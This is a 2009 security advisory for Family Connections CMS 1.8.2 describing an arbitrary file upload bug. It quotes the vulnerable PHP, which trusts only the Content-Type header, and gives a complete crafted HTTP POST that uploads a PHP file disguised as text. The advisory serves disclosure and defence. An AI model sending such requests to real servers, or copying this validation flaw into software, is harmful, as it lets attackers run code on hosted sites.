Family Connections 1.8.2 Arbitrary File Upload

******* Salvatore "drosophila" Fresta *******

[+] Application: Family Connection
[+] Version: <= 1.8.2
[+] Website: http://www.familycms.com

[+] Bugs: [A] Arbitrary File Upload

[+] Exploitation: Remote
[+] Date: 3 Apr 2009

[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: [email protected]

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[+] Menu

1) Bugs
2) Code
3) Fix

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[+] Bugs

• [A] Arbitrary File Upload

[-] Files affected: documents.php inc/documents_class.php

This bug allows a registered user to upload arbitrary
files on the system. This is possible because there
aren't controls on file extension but on the
Content-Type header only, that can be changed easily.

…

if (isset($_POST['submitadd'])) {
$doc = $_FILES['doc']['name'];
$desc = addslashes($_POST['desc']);
if ($docs->uploadDocument($_FILES['doc']['type'],
$_FILES['doc']['name'], $_FILES['doc']['tmp_name'])) {

…

function uploadDocument ($filetype, $filename, $filetmpname) {
global $LANG;
$known_photo_types = array('application/msword' => 'doc',
'text/plain' => 'txt', 'application/excel' => 'xsl',
'application/vnd.ms-excel' => 'xsl', 'application/x-msexcel' => 'xsl',
'application/x-compressed' => 'zip', 'application/x-zip-compressed'
=> 'zip', 'application/zip' => 'zip', 'multipart/x-zip' => 'zip',
'application/rtf' => 'rtf',
'application/x-rtf' => 'rtf', 'text/richtext' => 'rtf',
'application/mspowerpoint' => 'ppt', 'application/powerpoint' =>
'ppt', 'application/vnd.ms-powerpoint' => 'ppt',
'application/x-mspowerpoint' => 'ppt', 'application/x-excel' =>
'xsl', 'application/pdf' => 'pdf');
if (!array_key_exists($filetype, $known_photo_types)) {
echo "<p class=\"error-alert\">".$LANG['err_not_doc1']." $filetype
".$LANG['err_not_doc2']."<br/>".$LANG['err_not_doc3']."</p>";
return false;
} else {
copy($filetmpname, "gallery/documents/$filename");
return true;
}
}

…

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[+] Code

• [A] Arbitrary File Upload

The following is an example of a malicious package:

POST /fcms/upload.php HTTP/1.1\r\n
Host: localhost\r\n
Cookie: PHPSESSID=50fb1135c2da7f60bb66eb35cbc6ab97\r\n
Content-type: multipart/form-data, boundary=AaB03x\r\n
Content-Length: 295\r\n\r\n
–AaB03x\r\n
Content-Disposition: form-data; name="doc"; filename="file.php"\r\n
Content-Type: text/plain\r\n
\r\n
<?php echo "This is not a text file"?>\r\n
–AaB03x\r\n
Content-Disposition: form-data; name="desc"\r\n
\r\n
description\r\n
–AaB03x\r\n
Content-Disposition: form-data; name="submitadd"\r\n
\r\n
Submit\r\n
–AaB03x–\r\n

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[+] Fix

No fix.

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–
Salvatore "drosophila" Fresta
CWNP444351